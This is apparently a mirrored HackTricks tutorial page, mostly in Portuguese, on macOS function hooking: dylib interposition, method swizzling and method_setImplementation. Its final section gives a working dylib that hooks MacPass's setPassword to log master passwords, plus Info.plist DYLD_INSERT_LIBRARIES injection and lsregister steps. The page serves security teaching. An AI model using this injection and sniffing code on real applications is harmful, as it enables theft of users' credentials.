mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
374 lines
15 KiB
Markdown
374 lines
15 KiB
Markdown
# macOS Function Hooking
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Interposição de Função
|
|
|
|
Crie um **dylib** com uma seção **`__interpose`** (ou uma seção marcada com **`S_INTERPOSING`**) contendo tuplas de **ponteiros de função** que se referem às funções **originais** e **substitutas**.
|
|
|
|
Em seguida, **injete** o dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
|
|
|
### Interpor printf
|
|
|
|
{% tabs %}
|
|
{% tab title="interpose.c" %}
|
|
{% code title="interpose.c" %}
|
|
```c
|
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
|
#include <stdio.h>
|
|
#include <stdarg.h>
|
|
|
|
int my_printf(const char *format, ...) {
|
|
//va_list args;
|
|
//va_start(args, format);
|
|
//int ret = vprintf(format, args);
|
|
//va_end(args);
|
|
|
|
int ret = printf("Hello from interpose\n");
|
|
return ret;
|
|
}
|
|
|
|
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
|
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% tab title="hello.c" %}
|
|
```c
|
|
//gcc hello.c -o hello
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
printf("Hello World!\n");
|
|
return 0;
|
|
}
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="interpose2.c" %}
|
|
```c
|
|
// Just another way to define an interpose
|
|
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
|
|
|
#include <stdio.h>
|
|
|
|
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
|
__attribute__((used)) static struct { \
|
|
const void* replacement; \
|
|
const void* replacee; \
|
|
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
|
(const void*) (unsigned long) &_replacement, \
|
|
(const void*) (unsigned long) &_replacee \
|
|
};
|
|
|
|
int my_printf(const char *format, ...)
|
|
{
|
|
int ret = printf("Hello from interpose\n");
|
|
return ret;
|
|
}
|
|
|
|
DYLD_INTERPOSE(my_printf,printf);
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
```bash
|
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
|
Hello from interpose
|
|
|
|
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
|
Hello from interpose
|
|
```
|
|
## Method Swizzling
|
|
|
|
Em ObjectiveC, um método é chamado assim: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
|
|
|
É necessário o **objeto**, o **método** e os **params**. E quando um método é chamado, uma **msg é enviada** usando a função **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
|
|
|
O objeto é **`someObject`**, o método é **`@selector(method1p1:p2:)`** e os argumentos são **value1**, **value2**.
|
|
|
|
Seguindo as estruturas de objeto, é possível acessar um **array de métodos** onde os **nomes** e **ponteiros** para o código do método estão **localizados**.
|
|
|
|
{% hint style="danger" %}
|
|
Note que, como os métodos e classes são acessados com base em seus nomes, essa informação é armazenada no binário, então é possível recuperá-la com `otool -ov </path/bin>` ou [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
|
{% endhint %}
|
|
|
|
### Accessing the raw methods
|
|
|
|
É possível acessar as informações dos métodos, como nome, número de params ou endereço, como no seguinte exemplo:
|
|
```objectivec
|
|
// gcc -framework Foundation test.m -o test
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
#import <objc/message.h>
|
|
|
|
int main() {
|
|
// Get class of the variable
|
|
NSString* str = @"This is an example";
|
|
Class strClass = [str class];
|
|
NSLog(@"str's Class name: %s", class_getName(strClass));
|
|
|
|
// Get parent class of a class
|
|
Class strSuper = class_getSuperclass(strClass);
|
|
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
|
|
|
// Get information about a method
|
|
SEL sel = @selector(length);
|
|
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
|
Method m = class_getInstanceMethod(strClass,sel);
|
|
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
|
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
|
|
|
// Iterate through the class hierarchy
|
|
NSLog(@"Listing methods:");
|
|
Class currentClass = strClass;
|
|
while (currentClass != NULL) {
|
|
unsigned int inheritedMethodCount = 0;
|
|
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
|
|
|
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
|
|
|
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
|
Method method = inheritedMethods[i];
|
|
SEL selector = method_getName(method);
|
|
const char* methodName = sel_getName(selector);
|
|
unsigned long address = (unsigned long)method_getImplementation(m);
|
|
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
|
}
|
|
|
|
// Free the memory allocated by class_copyMethodList
|
|
free(inheritedMethods);
|
|
currentClass = class_getSuperclass(currentClass);
|
|
}
|
|
|
|
// Other ways to call uppercaseString method
|
|
if([str respondsToSelector:@selector(uppercaseString)]) {
|
|
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
|
NSLog(@"Uppercase string: %@", uppercaseString);
|
|
}
|
|
|
|
// Using objc_msgSend directly
|
|
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
|
NSLog(@"Uppercase string: %@", uppercaseString2);
|
|
|
|
// Calling the address directly
|
|
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
|
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
|
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
|
NSLog(@"Uppercase string: %@", uppercaseString3);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Method Swizzling com method\_exchangeImplementations
|
|
|
|
A função **`method_exchangeImplementations`** permite **mudar** o **endereço** da **implementação** de **uma função pela outra**.
|
|
|
|
{% hint style="danger" %}
|
|
Assim, quando uma função é chamada, o que é **executado é a outra**.
|
|
{% endhint %}
|
|
```objectivec
|
|
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
|
|
|
|
// Create a new category for NSString with the method to execute
|
|
@interface NSString (SwizzleString)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
|
|
|
@end
|
|
|
|
@implementation NSString (SwizzleString)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
|
|
|
|
// Call the original method
|
|
return [self swizzledSubstringFromIndex:from];
|
|
}
|
|
|
|
@end
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
// Perform method swizzling
|
|
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
|
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
|
method_exchangeImplementations(originalMethod, swizzledMethod);
|
|
|
|
// We changed the address of one method for the other
|
|
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
|
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
|
|
|
// Example usage
|
|
NSString *myString = @"Hello, World!";
|
|
NSString *subString = [myString substringFromIndex:7];
|
|
NSLog(@"Substring: %@", subString);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
{% hint style="warning" %}
|
|
Neste caso, se o **código de implementação do método legítimo** **verificar** o **nome** do **método**, ele pode **detectar** essa troca e impedir que ela seja executada.
|
|
|
|
A técnica a seguir não tem essa restrição.
|
|
{% endhint %}
|
|
|
|
### Troca de Métodos com method\_setImplementation
|
|
|
|
O formato anterior é estranho porque você está mudando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **mudar** a **implementação** de um **método para o outro**.
|
|
|
|
Apenas lembre-se de **armazenar o endereço da implementação do original** se você for chamá-lo a partir da nova implementação antes de sobrescrevê-lo, porque depois será muito mais complicado localizar esse endereço.
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
#import <objc/message.h>
|
|
|
|
static IMP original_substringFromIndex = NULL;
|
|
|
|
@interface NSString (Swizzlestring)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
|
|
|
@end
|
|
|
|
@implementation NSString (Swizzlestring)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
|
|
|
|
// Call the original implementation using objc_msgSendSuper
|
|
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
|
}
|
|
|
|
@end
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
// Get the class of the target method
|
|
Class stringClass = [NSString class];
|
|
|
|
// Get the swizzled and original methods
|
|
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
|
|
|
// Get the function pointer to the swizzled method's implementation
|
|
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
|
|
|
// Swap the implementations
|
|
// It return the now overwritten implementation of the original method to store it
|
|
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
|
|
|
// Example usage
|
|
NSString *myString = @"Hello, World!";
|
|
NSString *subString = [myString substringFromIndex:7];
|
|
NSLog(@"Substring: %@", subString);
|
|
|
|
// Set the original implementation back
|
|
method_setImplementation(originalMethod, original_substringFromIndex);
|
|
|
|
return 0;
|
|
}
|
|
}
|
|
```
|
|
## Metodologia de Ataque por Hooking
|
|
|
|
Nesta página, diferentes maneiras de hookear funções foram discutidas. No entanto, elas envolviam **executar código dentro do processo para atacar**.
|
|
|
|
Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
|
|
|
No entanto, ambas as opções são **limitadas** a binários/processos **não protegidos**. Verifique cada técnica para saber mais sobre as limitações.
|
|
|
|
No entanto, um ataque de hooking de função é muito específico, um atacante fará isso para **roubar informações sensíveis de dentro de um processo** (se não, você apenas faria um ataque de injeção de processo). E essas informações sensíveis podem estar localizadas em aplicativos baixados pelo usuário, como o MacPass.
|
|
|
|
Assim, o vetor do atacante seria encontrar uma vulnerabilidade ou remover a assinatura da aplicação, injetar a variável de ambiente **`DYLD_INSERT_LIBRARIES`** através do Info.plist da aplicação adicionando algo como:
|
|
```xml
|
|
<key>LSEnvironment</key>
|
|
<dict>
|
|
<key>DYLD_INSERT_LIBRARIES</key>
|
|
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
|
</dict>
|
|
```
|
|
e então **re-registrar** o aplicativo:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
|
```
|
|
{% endcode %}
|
|
|
|
Adicione nesse biblioteca o código de hooking para exfiltrar as informações: Senhas, mensagens...
|
|
|
|
{% hint style="danger" %}
|
|
Observe que em versões mais recentes do macOS, se você **remover a assinatura** do binário do aplicativo e ele foi executado anteriormente, o macOS **não executará mais o aplicativo**.
|
|
{% endhint %}
|
|
|
|
#### Exemplo de biblioteca
|
|
```objectivec
|
|
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
|
|
|
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
|
|
|
// Listen to the logs with something like:
|
|
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
|
|
|
#include <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
|
|
// Here will be stored the real method (setPassword in this case) address
|
|
static IMP real_setPassword = NULL;
|
|
|
|
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
|
{
|
|
// Function that will log the password and call the original setPassword(pass, file_path) method
|
|
NSLog(@"[+] Password is: %@", password);
|
|
|
|
// After logging the password call the original method so nothing breaks.
|
|
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
|
}
|
|
|
|
// Library constructor to execute
|
|
__attribute__((constructor))
|
|
static void customConstructor(int argc, const char **argv) {
|
|
// Get the real method address to not lose it
|
|
Class classMPDocument = NSClassFromString(@"MPDocument");
|
|
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
|
|
|
// Make the original method setPassword call the fake implementation one
|
|
IMP fake_IMP = (IMP)custom_setPassword;
|
|
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
|
}
|
|
```
|
|
## Referências
|
|
|
|
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|